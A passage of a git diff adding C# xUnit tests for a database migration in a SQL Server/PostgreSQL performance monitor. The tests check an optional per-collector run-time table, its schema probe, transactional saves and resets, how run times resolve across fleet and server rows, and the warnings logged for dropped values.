+        Convert.ToInt64(await ScalarAsync(connection, "SELECT COUNT(*) FROM config.config_collector_schedules", ct));
+
+    [Fact]
+    public async Task TheFleetRunTime_IsWrittenToItsTable_TheNameIsCanonicalised_AndTheRowsAreReadBack()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var (exit, output, error) = await RunAsync(rig, ct, "Index_Object_Stats", "02:00");
+            Assert.True(exit == 0, $"exit {exit}; stderr: {error}");
+            Assert.Equal(string.Empty, error);
+            Assert.Equal($"fleet/{Daily}=120", await RunTimesAsync(rig.Connection, ct));
+            Assert.Equal(0L, await ScheduleRowsAsync(rig.Connection, ct));
+            Assert.Contains("Run times in the store for index_object_stats:", output, StringComparison.Ordinal);
+            Assert.Contains("fleet-wide: run_at=02:00 server time", output, StringComparison.Ordinal);
+
+            /* A second time replaces the row; default and none clear it. */
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "03:30")).Exit);
+            Assert.Equal($"fleet/{Daily}=210", await RunTimesAsync(rig.Connection, ct));
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "default")).Exit);
+            Assert.Equal("", await RunTimesAsync(rig.Connection, ct));
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "none")).Exit);
+            Assert.Equal("", await RunTimesAsync(rig.Connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AServerRunTime_IsItsOwnRow_NoneIsMinusOne_DefaultDeletesIt_AndTheServersScheduleRowIsUntouched()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(rig.Connection,
+                $"INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled) VALUES ({Sql01}, '{Daily}', 2880, 45, FALSE)", ct);
+            const string Schedule = "SELECT frequency_minutes || '|' || retention_days || '|' || enabled FROM config.config_collector_schedules WHERE server_id = " + "4101";
+
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "02:00", "--server", "sql01")).Exit);
+            Assert.Equal($"{Sql01}/{Daily}=120", await RunTimesAsync(rig.Connection, ct));
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "01:00")).Exit);
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "none", "--server", "sql01")).Exit);
+            Assert.Equal($"fleet/{Daily}=60,{Sql01}/{Daily}=-1", await RunTimesAsync(rig.Connection, ct));
+
+            Assert.Equal(0, (await RunAsync(rig, ct, Daily, "default", "--server", "sql01")).Exit);
+            Assert.Equal($"fleet/{Daily}=60", await RunTimesAsync(rig.Connection, ct));
+
+            /* The schedule row the server already had is exactly as it was: the verb never wrote it. */
+            Assert.Equal("2880|45|false",(string)(await ScalarAsync(rig.Connection, Schedule, ct))!);
+            Assert.Equal(1L, await ScheduleRowsAsync(rig.Connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ABadTimeAnHourlyCollectorAnUnknownNameOrServer_AreRefused_WithANonZeroExit_AndNothingWritten()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(rig.Connection,
+                $"INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes) VALUES (NULL, '{Daily}', 60)", ct);
+
+            var bad = await RunAsync(rig, ct, Daily, "25:00");
+            Assert.Equal(1, bad.Exit);
+            Assert.Contains(CollectorRunTime.InvalidRunAtMessage, bad.Error, StringComparison.Ordinal);
+
+            var hourly = await RunAsync(rig, ct, Daily, "02:00");
+            Assert.Equal(1, hourly.Exit);
+            Assert.Contains(CollectorRunTime.IntervalRefusalMessage(Daily, 60), hourly.Error, StringComparison.Ordinal);
+
+            Assert.Equal(1, (await RunAsync(rig, ct, "no_such_collector", "02:00")).Exit);
+            Assert.Equal(1, (await RunAsync(rig, ct, "server_properties", "02:00", "--server", "no_such_server")).Exit);
+            Assert.Equal("", await RunTimesAsync(rig.Connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A store the service has not migrated to the run-time table yet (below V160). The verb says so in plain words,
+    /// exits 1 and writes nothing, for a time, none and default alike; and the toggle verbs' read-back reads such a store as having
+    /// no run times, so it does not fail after a write that committed.</summary>
+    [Theory]
+    [InlineData("02:00", null)]
+    [InlineData("none", "sql01")]
+    [InlineData("default", null)]
+    public async Task OnAStoreWithoutTheRunTimeTable_TheVerbRefusesWithAPlainMessage_ExitsOne_AndWritesNothing(string runAt, string? server)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(rig.Connection, "DROP TABLE config.config_collector_run_times", ct);
+            var scheduleRowsBefore = await ScheduleRowsAsync(rig.Connection, ct);
+
+            var args = server is null ? new[] { Daily, runAt } : new[] { Daily, runAt, "--server", server };
+            var (exit, _, error) = await RunAsync(rig, ct, args);
+
+            Assert.Equal(1, exit);
+            Assert.Contains(DarlingCliCommands.RunTimeTableMissingMessage("--set-collector-run-at"), error, StringComparison.Ordinal);
+            Assert.Contains("Nothing was changed.", error, StringComparison.Ordinal);
+            Assert.DoesNotContain("relation", error, StringComparison.OrdinalIgnoreCase);
+            Assert.Equal(scheduleRowsBefore, await ScheduleRowsAsync(rig.Connection, ct));
+
+            await using var dataSource = NpgsqlDataSource.Create(rig.Scratch.ConnectionString);
+            Assert.Empty(await DarlingCliCommands.ReadCollectorRunTimeRowsAsync(dataSource, Daily, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorRunTimeRungTests.cs b/Darling/Darling.Tests/CollectorRunTimeRungTests.cs
new file mode 100644
index 0000000000..65ca3d1c76
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorRunTimeRungTests.cs
@@ -0,0 +1,1036 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that gives a collector an optional run time (#4938): <c>config.config_collector_run_times</c>,
+/// a table of its own, because the viewer's schedule Save deletes and re-inserts the schedules table's rows with a fixed
+/// column list and a column there would be cleared by every Save from a viewer that does not know it. A row holds minutes
+/// after midnight on the monitored server's clock, from 0 to 1439, fleet-wide when <c>server_id</c> is NULL; -1 is allowed
+/// on a server row only and means "no fixed time on this server", which stops a fleet-wide time. No row means no run
+/// time. This file holds the rung (ladder, SQL, viewer probe, the service's read and merge) and the resolution of the
+/// value, including the warning for a run time that cannot apply. Every fact finds the rung by NAME, so a renumber is one
+/// edit to the registration, the constant and the viewer's <c>return</c>.
+/// </summary>
+public sealed class CollectorRunTimeRungTests
+{
+    public const string RungName = "collector-run-time";
+
+    private const string Table = "config_collector_run_times";
+
+    /// <summary>This rung's sentinel; the ordinal is a fact of the probe's shape. A newer rung's sentinel follows it.</summary>
+    private const int ProbeOrdinal = 135;
+
+    private const int ServerId = 41;
+
+    public static int RungVersion => Rung.Version;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder_AtVersion160()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        /* No longer the top rung: V161 (the Query Store top daily summary) landed above it. */
+        Assert.Equal(160, Rung.Version);
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    /// <summary>The rung creates the one table, its two partial unique indexes and the reload trigger, schema-qualified,
+    /// and every statement is guarded so a second run changes nothing. It names no column of the schedules table and
+    /// touches no row.</summary>
+    [Fact]
+    public void TheRungCreatesTheRunTimesTable_IdempotentlyAndSchemaQualified_AndTouchesNothingElse()
+    {
+        var sql = Rung.Sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        Assert.Contains($"CREATE TABLE IF NOT EXISTS config.{Table} (", sql, StringComparison.Ordinal);
+        Assert.Contains("run_at_minute smallint NOT NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("CHECK (run_at_minute BETWEEN 0 AND 1439 OR (run_at_minute = -1 AND server_id IS NOT NULL))", sql, StringComparison.Ordinal);
+        Assert.Contains(
+            $"CREATE UNIQUE INDEX IF NOT EXISTS ux_{Table}_fleet\n    ON config.{Table} (collector_name) WHERE server_id IS NULL;",
+            sql, StringComparison.Ordinal);
+        Assert.Contains(
+            $"CREATE UNIQUE INDEX IF NOT EXISTS ux_{Table}_server\n    ON config.{Table} (server_id, collector_name) WHERE server_id IS NOT NULL;",
+            sql, StringComparison.Ordinal);
+        Assert.Contains($"DROP TRIGGER IF EXISTS trg_bump_collector_run_times ON config.{Table};", sql, StringComparison.Ordinal);
+        Assert.Contains("AFTER INSERT OR UPDATE OR DELETE ON config." + Table, sql, StringComparison.Ordinal);
+        Assert.Contains("FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();", sql, StringComparison.Ordinal);
+
+        /* The schedules table is not touched at all: no ALTER, no column of it, no row of anything. */
+        Assert.DoesNotContain("config_collector_schedules", sql, StringComparison.Ordinal);
+        Assert.False(
+            Regex.IsMatch(sql, @"^\s*(ALTER TABLE|GRANT|UPDATE|DELETE FROM|INSERT INTO|TRUNCATE|DROP TABLE|DROP COLUMN)\b", RegexOptions.Multiline),
+            "the rung may only create the table, its indexes and its trigger");
+
+        /* Every CREATE of a table or index carries IF NOT EXISTS and the one DROP carries IF EXISTS. */
+        foreach (Match create in Regex.Matches(sql, @"^CREATE (TABLE|UNIQUE INDEX|INDEX)\b.*$", RegexOptions.Multiline))
+        {
+            Assert.Contains("IF NOT EXISTS", create.Value, StringComparison.Ordinal);
+        }
+
+        foreach (Match drop in Regex.Matches(sql, @"^DROP\b.*$", RegexOptions.Multiline))
+        {
+            Assert.Contains("IF EXISTS", drop.Value, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The viewer's schedule statements, the ones its Save runs, never name the run time: that is what keeps a
+    /// released viewer's Save from touching it, and what the next viewer's Save must keep doing until it carries the time
+    /// on purpose.</summary>
+    [Fact]
+    public void TheViewersScheduleStatements_NeverNameTheRunTime()
+    {
+        foreach (var sql in new[]
+        {
+            ViewerDataService.CollectorSchedulesSelectSql,
+            ViewerDataService.CollectorScheduleFleetUpsertSql,
+            ViewerDataService.CollectorScheduleServerUpsertSql,
+            ViewerDataService.CollectorScheduleDeleteFleetScopeSql,
+            ViewerDataService.CollectorScheduleDeleteServerScopeSql,
+            ViewerDataService.CollectorScheduleDeleteAllServerScopesSql,
+        })
+        {
+            Assert.DoesNotContain("run_at_minute", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain(Table, sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheTableAsAnArm_AndMapsAStoreThroughTheRungToTheRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = $"to_regclass('config.{Table}') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+        Assert.True(probe.IndexOf(arm, StringComparison.Ordinal) < probe.IndexOf("collect.query_store_top_daily", StringComparison.Ordinal),
+            "the newer rung's sentinel follows this one");
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasCollectorRunAt", method.GetParameters()[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(160, (int)method.Invoke(null, all)!);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(159, (int)method.Invoke(null, behind)!);
+
+        var nextArm = viewer.IndexOf("if (hasQueryStoreTopDaily)", StringComparison.Ordinal);
+        var thisArm = viewer.IndexOf("if (hasCollectorRunAt)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasInstallIdTableOid)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "no sentinel arm: a store at this rung would map one rung short");
+        Assert.True(nextArm >= 0 && nextArm < thisArm, "the newer rung's arm sits above this one's");
+        Assert.True(thisArm < previousArm, "this arm sits below the newer rung's and above the previous one's");
+        Assert.Contains("return 160;", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The V71 finding: the table is named in the probe line and nowhere in the arm's prose. The comment block sits
+           ABOVE the `if`, and this probe line has no information_schema in it, so the prose must not repeat the name. */
+        var armProseStart = viewer.LastIndexOf("/* V160 (#4938)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain(Table, viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    /// <summary>The Collector Schedules window's Save is ONE call in ONE transaction (#4938): it never commits the run times as a
+    /// transaction of their own ahead of the schedule rows, because a schedule write that then fails would leave the run time
+    /// saved. The window calls the combined write once and none of the three single writes, and the combined write's scope writer
+    /// runs the run-time statements on the connection and transaction it opened for the schedule rows, ahead of their delete.</summary>
+    [Fact]
+    public void TheWindowsSave_IsOneCallInOneTransaction_AndNeverCommitsTheRunTimesOnItsOwn()
+    {
+        var window = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleEditorWindow.xaml.cs"));
+        Assert.Single(Regex.Matches(window, @"\.SaveCollectorScheduleAsync\("));
+        Assert.DoesNotContain(".SaveCollectorRunTimesAsync(", window, StringComparison.Ordinal);
+        Assert.DoesNotContain(".ReplaceFleetSchedulesAsync(", window, StringComparison.Ordinal);
+        Assert.DoesNotContain(".ReplaceServerSchedulesAsync(", window, StringComparison.Ordinal);
+
+        var viewer = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectorSchedules.cs"));
+        var start = viewer.IndexOf("private async Task ReplaceScheduleScopeAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the schedule scope writer is gone");
+        var scope = viewer[start..viewer.IndexOf("private static void AddNullableInt", start, StringComparison.Ordinal)];
+        Assert.Single(Regex.Matches(scope, @"BeginTransactionAsync\("));
+        var runTimeWrite = scope.IndexOf("WriteRunTimeChangesAsync(connection, transaction, runTimeChanges", StringComparison.Ordinal);
+        Assert.True(runTimeWrite >= 0, "the scope writer does not write the run times on its own connection and transaction");
+        Assert.True(
+            runTimeWrite < scope.IndexOf("CollectorScheduleDeleteFleetScopeSql", StringComparison.Ordinal),
+            "the run-time statements must run ahead of the schedule delete, in the same transaction");
+    }
+
+    /// <summary>A schedule Reset deletes that scope's run times in the same transaction as its schedule rows (#4938). The window's
+    /// "Reset to Defaults" arms the scope clear and its Save passes it on, "Apply Default to All Servers" is the one call that
+    /// resets both tables (and the window has no run-time reset of its own), and that call opens exactly one transaction and
+    /// deletes the schedule rows ahead of the run times.</summary>
+    [Fact]
+    public void AScheduleReset_DeletesTheScopesRunTimes_InTheSameTransactionAsItsScheduleRows()
+    {
+        var window = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleEditorWindow.xaml.cs"));
+        var reset = window[window.IndexOf("private void ResetDefaults_Click(", StringComparison.Ordinal)..window.IndexOf("private void CopyFromServer_Click(", StringComparison.Ordinal)];
+        Assert.Contains("_resetToDefaults = true;", reset, StringComparison.Ordinal);
+        /* #4938: the Save's plan (CollectorScheduleOverlay.BuildSavePlan) carries the clear: the window hands it the armed Reset and
+           "Use default schedule", the plan clears on either (unless the run-time read failed), and the window sends what the plan holds. */
+        Assert.Contains("usesDefault, _resetToDefaults, schedulesRead:", window, StringComparison.Ordinal);
+        Assert.Contains(
+            "var clearRunTimes = runTimesRead && (resetToDefaults || usesDefault);",
+            CSharpSourceWalker.StripCommentsAndStrings(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CollectorScheduleOverlay.cs")),
+            StringComparison.Ordinal);
+        Assert.Contains(".SaveCollectorScheduleAsync(_scopeServerId, plan.Rows, plan.RunTimeChanges, plan.ClearRunTimes)", window, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(window, @"\.ResetAllServerSchedulesAsync\("));
+        Assert.DoesNotContain("ResetAllServerRunTimes", window, StringComparison.Ordinal);
+
+        var viewer = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.CollectorSchedules.cs"));
+        Assert.DoesNotContain("ResetAllServerRunTimes", viewer, StringComparison.Ordinal);
+        var start = viewer.IndexOf("public async Task<CollectorScheduleResetCounts> ResetAllServerSchedulesAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the all-servers reset is gone");
+        var body = viewer[start..viewer.IndexOf("private static async Task<int> DeleteRunTimesAsync(", start, StringComparison.Ordinal)];
+        Assert.Single(Regex.Matches(body, @"BeginTransactionAsync\("));
+        Assert.True(
+            body.IndexOf("CollectorScheduleDeleteAllServerScopesSql", StringComparison.Ordinal)
+                < body.IndexOf("CollectorRunTimeDeleteAllServerScopesSql", StringComparison.Ordinal),
+            "the schedule rows are deleted first, so a failed run-time delete takes that delete back with it");
+        Assert.Contains("transaction.CommitAsync(", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheServiceReadsTheSchedulesWithoutARunTimeColumn_AndTheRunTimesFromTheirOwnTable()
+    {
+        var service = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "StoreConfigProvider.cs");
+
+        Assert.Contains(
+            "\"SELECT server_id, collector_name, frequency_minutes, retention_days, enabled, databases FROM config_collector_schedules\"",
+            service, StringComparison.Ordinal);
+        Assert.DoesNotContain("run_at_minute FROM config_collector_schedules", service, StringComparison.Ordinal);
+
+        Assert.Equal(
+            $"SELECT server_id, collector_name, run_at_minute FROM config.{Table} ORDER BY server_id NULLS FIRST, collector_name",
+            StoreConfigProvider.RunTimesSelectSql);
+        Assert.Contains("reader.GetInt16(2)", service, StringComparison.Ordinal);
+
+        /* A store at V159 has no table: that read, and only that one, answers 42P01 with no run times. */
+        Assert.Contains("catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)", service, StringComparison.Ordinal);
+    }
+
+    /* ---- the layering (pure) --------------------------------------------------------------------------- */
+
+    private static ScheduleOverride Server(string collector, int? runAt, int? frequency = null) =>
+        new(ServerId, collector, frequency, null, true, null, runAt);
+
+    private static ScheduleOverride Fleet(string collector, int? runAt, int? frequency = null) =>
+        new(null, collector, frequency, null, true, null, runAt);
+
+    /// <summary>The server value wins over the fleet value; -1 on either row is "none" and on the server row stops
+    /// the fleet value; NULL falls through per column; a value outside the CHECK's range is treated as not set; a
+    /// run time on an hourly or per-minute effective interval resolves to none; a daily, a two-day and an on-load
+    /// collector keep theirs (the on-load collectors re-run every 1440 minutes).</summary>
+    [Fact]
+    public void ResolveSchedule_LayersTheRunTimePerColumn_AndOnlyAWholeDayIntervalKeepsIt()
+    {
+        const string Daily = "index_object_stats";
+        const string OnLoad = "server_properties";
+        var table = new (string Name, string Collector, ScheduleOverride[] Rows, int? Expected)[]
+        {
+            ("no rows", Daily, Array.Empty<ScheduleOverride>(), null),
+            ("fleet value", Daily, new[] { Fleet(Daily, 120) }, 120),
+            ("server value", Daily, new[] { Server(Daily, 130) }, 130),
+            ("server wins over fleet", Daily, new[] { Server(Daily, 130), Fleet(Daily, 120) }, 130),
+            ("server -1 stops the fleet value", Daily, new[] { Server(Daily, -1), Fleet(Daily, 120) }, null),
+            ("fleet -1 is none", Daily, new[] { Fleet(Daily, -1) }, null),
+            ("server NULL falls through", Daily, new[] { Server(Daily, null), Fleet(Daily, 120) }, 120),
+            ("both NULL", Daily, new[] { Server(Daily, null), Fleet(Daily, null) }, null),
+            ("midnight is a time", Daily, new[] { Fleet(Daily, 0) }, 0),
+            ("last minute of the day", Daily, new[] { Fleet(Daily, 1439) }, 1439),
+            ("server value out of range falls through", Daily, new[] { Server(Daily, 1440), Fleet(Daily, 120) }, 120),
+            ("below -1 is not set", Daily, new[] { Server(Daily, -2) }, null),
+            ("hourly default has none", "pg_buffer_usage", new[] { Fleet("pg_buffer_usage", 120) }, null),
+            ("per-minute default has none", "wait_stats", new[] { Fleet("wait_stats", 120), Server("wait_stats", 90) }, null),
+            ("server frequency override makes it hourly", Daily, new[] { Server(Daily, null, 60), Fleet(Daily, 120) }, null),
+            ("two-day interval keeps it", Daily, new[] { Server(Daily, 90, 2880) }, 90),
+            ("on-load collector keeps it", OnLoad, new[] { Fleet(OnLoad, 150) }, 150),
+            ("explicit on-load frequency keeps it", OnLoad, new[] { Server(OnLoad, 150, 0) }, 150),
+            ("a row for another collector is not read", Daily, new[] { Fleet(OnLoad, 150) }, null),
+        };
+
+        foreach (var (name, collector, rows, expected) in table)
+        {
+            var resolved = StoreConfigProvider.ResolveSchedule(collector, ServerId, rows);
+            Assert.True(expected == resolved.RunAtMinute, $"{name}: expected {expected?.ToString() ?? "none"} but resolved {resolved.RunAtMinute?.ToString() ?? "none"}");
+        }
+    }
+
+    /// <summary>A dropped run time leaves the cadence alone: the frequency is what the override says, as it was
+    /// before the column existed.</summary>
+    [Fact]
+    public void ADroppedRunTime_DoesNotChangeTheFrequency()
+    {
+        var resolved = StoreConfigProvider.ResolveSchedule("wait_stats", ServerId, new[] { Server("wait_stats", 90, 15) });
+
+        Assert.Null(resolved.RunAtMinute);
+        Assert.Equal(15, resolved.FrequencyMinutes);
+    }
+
+    /* ---- the warning (once per load, judged per server) -------------------------------------------------- */
+
+    private static MonitoredServer Target(int id, string name, string engine = "sqlserver") =>
+        new() { Name = name, Host = name + "-host", Engine = engine, StoredServerId = id };
+
+    [Fact]
+    public void AFleetRunTime_IsJudgedPerServer_SoOnlyAServerWithItsOwnHourlyFrequencyIsNamed()
+    {
+        var servers = new[] { Target(41, "alpha"), Target(42, "bravo") };
+        var overrides = new[]
+        {
+            Fleet("index_object_stats", 120),
+            new ScheduleOverride(42, "index_object_stats", 60, null, true),
+        };
+
+        var dropped = Assert.Single(StoreConfigProvider.FindDroppedRunTimes(servers, overrides));
+
+        Assert.Equal("index_object_stats", dropped.CollectorName);
+        Assert.Equal(42, dropped.ServerId);
+        Assert.Equal("bravo", dropped.ServerName);
+        Assert.Equal(120, dropped.RunAtMinute);
+        Assert.Equal(60, dropped.IntervalMinutes);
+        Assert.False(dropped.FromServerRow);
+    }
+
+    [Fact]
+    public void AServerRowRunTimeOnAnHourlyCollector_IsNamedWithItsRow_AndAnEngineThatNeverRunsItIsSkipped()
+    {
+        var servers = new[] { Target(41, "alpha"), Target(43, "pgone", "postgres") };
+
+        var serverRow = Assert.Single(StoreConfigProvider.FindDroppedRunTimes(servers, new[] { Server("wait_stats", 120) }));
+        Assert.Equal(41, serverRow.ServerId);
+        Assert.True(serverRow.FromServerRow);
+
+        /* A fleet row for a PostgreSQL-only collector names the PostgreSQL server, not the SQL Server one that
+           never runs it. */
+        var fleetRow = Assert.Single(StoreConfigProvider.FindDroppedRunTimes(servers, new[] { Fleet("pg_buffer_usage", 120) }));
+        Assert.Equal(43, fleetRow.ServerId);
+    }
+
+    [Fact]
+    public void NothingIsDropped_ForANoneValue_ADailyCollector_OrAnOnLoadCollector()
+    {
+        var servers = new[] { Target(41, "alpha") };
+        var overrides = new[]
+        {
+            Server("wait_stats", -1),
+            Fleet("index_object_stats", 120),
+            Fleet("server_properties", 150),
+            Fleet("wait_stats", null),
+        };
+
+        Assert.Empty(StoreConfigProvider.FindDroppedRunTimes(servers, overrides));
+    }
+
+    /// <summary>One warning per dropped run time, naming the collector, the server and the time; none when nothing is
+    /// dropped. It logs at the load, not in <c>ResolveSchedule</c>, which runs every sweep and stays silent.</summary>
+    [Fact]
+    public void TheWarning_NamesTheCollectorAndTheServer_AndResolveScheduleItselfLogsNothing()
+    {
+        var servers = new[] { Target(41, "alpha") };
+        var overrides = new[] { Server("wait_stats", 120) };
+        var logger = new CapturingTestLogger();
+
+        StoreConfigProvider.LogDroppedRunTimes(logger, servers, overrides);
+
+        var line = Assert.Single(logger.Lines);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("wait_stats", line, StringComparison.Ordinal);
+        Assert.Contains("alpha", line, StringComparison.Ordinal);
+        Assert.Contains("02:00", line, StringComparison.Ordinal);
+
+        for (var sweep = 0; sweep < 3; sweep++)
+        {
+            _ = StoreConfigProvider.ResolveSchedule("wait_stats", 41, overrides);
+        }
+
+        Assert.Single(logger.Lines);
+
+        var quiet = new CapturingTestLogger();
+        StoreConfigProvider.LogDroppedRunTimes(quiet, servers, new[] { Server("wait_stats", -1) });
+        Assert.Empty(quiet.Lines);
+        StoreConfigProvider.LogDroppedRunTimes(null, servers, overrides);
+    }
+
+    /// <summary>A stored value the table's CHECK would refuse (a store whose CHECK was dropped by hand) resolves to none,
+    /// and the load says so: one warning for each, naming the collector, the scope and the value. A value the CHECK allows
+    /// (0, 1439, and -1 on a server) is never reported, and a sweep that only resolves logs nothing.</summary>
+    [Fact]
+    public void TheWarning_NamesAValueTheTableWouldRefuse_WithTheCollectorTheScopeAndTheValue()
+    {
+        var servers = new[] { Target(41, "alpha") };
+        var refused = new[]
+        {
+            Fleet("index_object_stats", 1440),
+            Server("server_properties", -2),
+            Fleet("server_properties", 0),
+            Server("index_object_stats", 1439),
+        };
+        var logger = new CapturingTestLogger();
+
+        StoreConfigProvider.LogDroppedRunTimes(logger, servers, refused);
+
+        Assert.Equal(2, logger.CountAtLevel(LogLevel.Warning));
+        var fleet = Assert.Single(logger.Lines, l => l.Contains("index_object_stats", StringComparison.Ordinal));
+        Assert.Contains("fleet-wide", fleet, StringComparison.Ordinal);
+        Assert.Contains("1440", fleet, StringComparison.Ordinal);
+        var server = Assert.Single(logger.Lines, l => l.Contains("server_properties", StringComparison.Ordinal));
+        Assert.Contains("server id 41", server, StringComparison.Ordinal);
+        Assert.Contains("-2", server, StringComparison.Ordinal);
+
+        /* A sweep that only resolves logs nothing more. */
+        for (var sweep = 0; sweep < 3; sweep++)
+        {
+            _ = StoreConfigProvider.ResolveSchedule("server_properties", ServerId, refused);
+        }
+
+        Assert.Equal(2, logger.Lines.Count);
+
+        var quiet = new CapturingTestLogger();
+        StoreConfigProvider.LogDroppedRunTimes(quiet, servers, new[]
+        {
+            Fleet("index_object_stats", 0),
+            Server("index_object_stats", -1),
+            Fleet("server_properties", 1439),
+        });
+        Assert.Empty(quiet.Lines);
+    }
+
+    /* ---- the merge of the run-time rows onto the schedule rows (pure) ------------------------------------- */
+
+    private static RunTimeOverride RunTime(int? serverId, string collector, int minute) => new(serverId, collector, minute);
+
+    [Fact]
+    public void MergeRunTimes_CarriesARunTimeOnItsScheduleRow_AndKeepsEveryOtherColumnOfTheRow()
+    {
+        var scope = new[] { "alpha_db" };
+        var fleetRow = new ScheduleOverride(null, "index_object_stats", 1440, 30, false, scope);
+        var serverRow = new ScheduleOverride(ServerId, "index_object_stats", 2880, null, true);
+
+        var merged = StoreConfigProvider.MergeRunTimes(
+            new[] { fleetRow, serverRow },
+            new[] { RunTime(null, "index_object_stats", 120), RunTime(ServerId, "index_object_stats", -1) });
+
+        Assert.Equal(2, merged.Count);
+        Assert.Equal(fleetRow with { RunAtMinute = 120 }, Assert.Single(merged, o => o.ServerId is null));
+        Assert.Equal(serverRow with { RunAtMinute = -1 }, Assert.Single(merged, o => o.ServerId == ServerId));
+    }
+
+    /// <summary>A run time with no schedule row makes an entry that sets nothing else. In particular its enabled state is
